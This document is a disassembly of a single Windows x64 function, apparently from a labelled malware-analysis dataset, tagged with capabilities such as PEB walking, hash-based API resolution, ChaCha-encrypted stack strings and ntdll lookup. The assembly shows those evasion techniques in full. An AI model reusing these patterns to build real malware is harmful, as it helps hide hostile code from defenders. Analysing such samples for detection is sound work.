Function at 0x140051790
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encrypt data using salsa20 or chacha
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1430]
mov eax, 0x1530
call fcn.1401547f0
sub rsp, rax
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x1560], rbx
mov qword [rsp + 0x1568], rsi
mov qword [rsp + 0x1570], rdi
mov rax, qword [0x1401b5030]
xor rax, rsp
mov qword [rbp + 0x1420], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x31], xmm0
movups xmmword [rsp + 0x41], xmm0
movups xmmword [rsp + 0x51], xmm0
mov qword [rsp + 0x61], rax
mov dword [rsp + 0x69], eax
mov word [rsp + 0x6d], ax
mov byte [rsp + 0x6f], al
mov dword [rsp + 0x70], 0xcd3453b9
mov dword [rsp + 0x74], 0x2e892e65
mov dword [rsp + 0x78], 0x7f0ab1c3
mov dword [rsp + 0x7c], 0x6e8692cc
mov dword [rbp - 0x80], 0x21ce698
mov dword [rbp - 0x7c], 0x13aab263
mov dword [rbp - 0x78], 0xd217083
mov dword [rbp - 0x74], 0x1d8a9947
mov dword [rbp - 0x70], 0x11d10708
mov dword [rbp - 0x6c], 0x10d43f23
movdqa xmm0, xmmword [0x14019edc0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14019ed80]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14019eeb0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x14019edb0]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x14019ee70]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x14019eea0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x14019ee60]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x14019ed90]
movdqa xmmword [rbp + 0x20], xmm1
mov byte [rbp + 0x30], 0x51
xor edx, edx
mov r8d, 0x380
lea rcx, [rbp + 0x31]
call fcn.14011fff0
movdqa xmm0, xmmword [0x14019ede0]
movdqa xmmword [rbp + 0x3c0], xmm0
movdqa xmm1, xmmword [0x14019eda0]
movdqa xmmword [rbp + 0x3d0], xmm1
mov dword [rbp + 0x3e0], 0x9d93bb36
mov dword [rbp + 0x3e4], 0x5fa8a117
mov byte [rbp + 0x3e8], 0xf8
xor edx, edx
mov r8d, 0x7fc
lea rcx, [rbp + 0x3e9]
call fcn.14011fff0
xor edx, edx
mov r8d, 0x825
lea rcx, [rbp + 0xbf0]
call fcn.14011fff0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, pe_nt_image_headers64
mov eax, dword [rdx + rcx]
mov ebx, 0x268
test al, 1
jne 0x140051983
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 0xb], 0x1e5
mov dword [rcx + rbx], 0x8c9d148e
mov dword [rcx + rbx + 4], 0xe35b94a9
mov word [rcx + rbx + 8], 0x119d
mov byte [rcx + rbx + 0xa], 0x9f
lea rcx, [0x140157c20]
call fcn.14011b87c
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 0xc], 0
je 0x1400519c8
xor byte [rbx], 0xf9
xor byte [rbx + 1], 0x7d
xor byte [rbx + 2], 0xf3
xor byte [rbx + 3], 0xe5
xor byte [rbx + 4], 0xc7
xor byte [rbx + 5], 0xf1
xor byte [rbx + 6], 0x2f
xor byte [rbx + 7], 0xcd
xor byte [rbx + 8], 0xf9
xor byte [rbx + 9], 0x7d
xor byte [rbx + 0xa], 0xf3
xor byte [rbx + 0xb], 0xe5
mov byte [rbx + 0xc], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rsi, qword [rcx + 0x10]
xor edx, edx
cmp qword [rsi + 0x60], rdx
je 0x140051a85
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140051a6d
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9, rdx
mov edi, dword [rax + 0x18]
test rdi, rdi
je 0x140051a6d
nop dword [rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140051a5b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140051a40
cmp ecx, 0xac64e8c8
je 0x140051a7a
inc r9
add r8, 4
add r10, 2
cmp r9, rdi
jb 0x140051a20
xor edx, edx
mov rsi, qword [rsi]
cmp qword [rsi + 0x60], 0
jmp 0x1400519df
movzx eax, word [r10]
mov edx, dword [r14 + rax*4]
add rdx, r11
mov rcx, rbx
call rdx
mov edi, 0x401
mov r8d, edi
xor edx, edx
lea rbx, [0x1402bad00]
mov rcx, rbx
call fcn.14011fff0
mov dword [rsp + 0x30], 0x61707865
mov esi, dword [rsp + 0x70]
mov dword [rsp + 0x34], esi
mov r14d, dword [rsp + 0x74]
mov dword [rsp + 0x38], r14d
mov r15d, dword [rsp + 0x78]
mov dword [rsp + 0x3c], r15d
mov r12d, dword [rsp + 0x7c]
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x44], 0x3320646e
mov r13d, dword [rbp - 0x70]
mov dword [rsp + 0x48], r13d
mov eax, dword [rbp - 0x6c]
mov dword [rsp + 0x4c], eax
xor eax, eax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x79622d32
mov eax, dword [rbp - 0x80]
mov dword [rsp + 0x5c], eax
mov eax, dword [rbp - 0x7c]
mov dword [rsp + 0x60], eax
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x64], eax
mov eax, dword [rbp - 0x74]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6c], 0x6b206574
lea rax, [rbp - 0x50]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051b30
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x30]
call fcn.14004b220
lea rcx, [rbp - 0x50]
sub rcx, rbx
nop
lea rax, [rdi + 0x7ffffbfd]
test rax, rax
je 0x140051b6f
movzx eax, byte [rbx + rcx]
test al, al
je 0x140051b6f
mov byte [rbx], al
inc rbx
sub rdi, 1
jne 0x140051b50
lea rax, [rbx - 1]
test rdi, rdi
cmovne rax, rbx
mov byte [rax], 0
mov dword [rsp + 0x30], 0x61707865
mov dword [rsp + 0x34], esi
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x3c], r15d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x44], 0x3320646e
mov dword [rsp + 0x48], r13d
mov eax, dword [rbp - 0x6c]
mov dword [rsp + 0x4c], eax
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov dword [rsp + 0x58], 0x79622d32
mov eax, dword [rbp - 0x80]
mov dword [rsp + 0x5c], eax
mov eax, dword [rbp - 0x7c]
mov dword [rsp + 0x60], eax
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x64], eax
mov eax, dword [rbp - 0x74]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6c], 0x6b206574
lea rax, [rbp + 0x3c0]
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x140051bf1
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x30]
call fcn.14004b220
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r14
je 0x140051cbf
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140051cab
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r14
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x140051cab
nop dword [rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140051c9b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140051c80
cmp ecx, 0x40a14020
je 0x140051cb3
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140051c60
mov rdi, qword [rdi]
jmp 0x140051c1c
movzx eax, word [r10]
mov edx, dword [rsi + rax*4]
add rdx, r11
jmp 0x140051cc2
mov rdx, r14
lea rcx, [rbp + 0x3c0]
call rdx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1402bb110], xmm0
movups xmmword [0x1402bb120], xmm0
movups xmmword [0x1402bb130], xmm0
movups xmmword [0x1402bb140], xmm0
movups xmmword [0x1402bb150], xmm0
movups xmmword [0x1402bb160], xmm0
mov qword [0x1402bb170], rax
mov dword [0x1402bb110], 0x68
mov dword [0x1402bb130], 0x100
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r14
je 0x140051dd0
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140051dbb
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r14
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x140051dbb
nop word [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140051dab
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140051d90
cmp ecx, 0xd77002f6
je 0x140051dc3
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140051d70
mov rdi, qword [rdi]
jmp 0x140051d26
movzx eax, word [r10]
mov r8d, dword [rsi + rax*4]
add r8, r11
jmp 0x140051dd3
mov r8, r14
mov edx, 0x101
mov ecx, 0x40
call r8
mov qword [0x1402bb128], rax
mov dword [0x1402bb160], 0x824
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r14
je 0x140051eb0
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140051e9b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r14
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x140051e9b
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140051e8b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140051e70
cmp ecx, 0xd77002f6
je 0x140051ea3
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140051e50
mov rdi, qword [rdi]
jmp 0x140051e02
movzx eax, word [r10]
mov r8d, dword [rsi + rax*4]
add r8, r11
jmp 0x140051eb3
mov r8, r14
mov edx, 0x825
mov ecx, 0x40
call r8
mov qword [0x1402bb158], rax
mov dword [rsp + 0x20], 0x825
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r14
je 0x140051f80
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140051f6b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r14
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x140051f6b
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140051f5b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140051f40
cmp ecx, 0xf23c5a98
je 0x140051f73
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140051f21
mov rdi, qword [rdi]
jmp 0x140051ee0
movzx eax, word [r10]
mov r10d, dword [rsi + rax*4]
add r10, r11
jmp 0x140051f83
mov r10, r14
mov r9d, 0x3e000000
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp + 0x3c0]
call r10
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r14
je 0x14005204d
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14005203a
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r14
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x14005203a
mov edx, dword [r8]
add rdx, r11
mov eax, 0x94a0aec7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005202a
nop word [rax + rax]
rol eax, 5
movsx ecx, cl
add eax, ecx
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140052010
cmp eax, 0x3ebe3e51
je 0x140052042
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140051ff1
mov rdi, qword [rdi]
jmp 0x140051fb0
movzx eax, word [r10]
mov r14d, dword [rsi + rax*4]
add r14, r11
lea rax, [rbp + 0xbf0]
inc r15
cmp byte [rax + r15], 0
jne 0x140052054
mov rdx, r15
lea r9, [0x1402bb110]
xor r8d, r8d
lea rcx, [rbp + 0xbf0]
call r14
mov rcx, qword [rbp + 0x1420]
xor rcx, rsp
call fcn.14011b0c0
lea r11, [rsp + 0x1530]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret